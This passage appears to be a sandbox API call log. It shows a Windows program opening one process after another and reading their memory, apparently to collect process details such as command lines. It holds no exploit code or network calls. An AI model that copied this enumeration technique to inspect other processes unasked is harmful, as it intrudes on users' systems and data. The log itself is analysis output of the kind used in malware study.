_Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0313.565] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.566] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.566] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0313.566] GetLastError () returned 0x0 [0313.566] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.567] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.568] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.568] malloc (_Size=0x48) returned 0xea8060 [0313.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea8060, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8060*, lpNumberOfBytesRead=0x0) returned 1 [0313.569] free (_Block=0xea8060) [0313.569] CloseHandle (hObject=0xa9c) returned 1 [0313.570] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0313.570] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0313.570] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.570] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.573] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0313.573] GetLastError () returned 0x0 [0313.573] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.573] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.573] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.575] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.575] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.576] malloc (_Size=0x6a) returned 0xea90a0 [0313.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea90a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.576] free (_Block=0xea90a0) [0313.577] CloseHandle (hObject=0xa9c) returned 1 [0313.577] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0313.578] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0313.578] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.578] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.580] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0xa9c [0313.580] GetLastError () returned 0x0 [0313.580] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.582] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.582] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.583] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.583] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.583] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.584] malloc (_Size=0x84) returned 0xe88120 [0313.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe88120, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88120*, lpNumberOfBytesRead=0x0) returned 1 [0313.585] free (_Block=0xe88120) [0313.585] CloseHandle (hObject=0xa9c) returned 1 [0313.586] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0313.586] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0313.587] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.587] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.620] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0313.620] GetLastError () returned 0x0 [0313.620] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.621] malloc (_Size=0x70) returned 0xea9120 [0313.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea9120, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0313.622] free (_Block=0xea9120) [0313.622] CloseHandle (hObject=0xa9c) returned 1 [0313.632] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0313.632] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0313.632] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.632] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0313.633] GetLastError () returned 0x0 [0313.633] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.634] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.634] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.635] malloc (_Size=0x68) returned 0xeb63f0 [0313.635] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb63f0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.635] free (_Block=0xeb63f0) [0313.636] CloseHandle (hObject=0xa9c) returned 1 [0313.636] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0313.636] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3176") returned 4 [0313.636] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.636] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0313.637] GetLastError () returned 0x0 [0313.637] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.638] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.638] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.639] malloc (_Size=0x5a) returned 0xeb63f0 [0313.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb63f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.639] free (_Block=0xeb63f0) [0313.640] CloseHandle (hObject=0xa9c) returned 1 [0313.640] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0313.640] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0313.640] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.640] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0313.641] GetLastError () returned 0x0 [0313.641] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.642] malloc (_Size=0x64) returned 0xeb6770 [0313.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6770, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0313.643] free (_Block=0xeb6770) [0313.643] CloseHandle (hObject=0xa9c) returned 1 [0313.643] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0313.644] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0313.644] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.644] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0313.645] GetLastError () returned 0x0 [0313.645] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.646] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.646] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.646] malloc (_Size=0x2c) returned 0xe71df0 [0313.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe71df0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71df0*, lpNumberOfBytesRead=0x0) returned 1 [0313.647] free (_Block=0xe71df0) [0313.647] CloseHandle (hObject=0xa9c) returned 1 [0313.647] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0313.648] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", 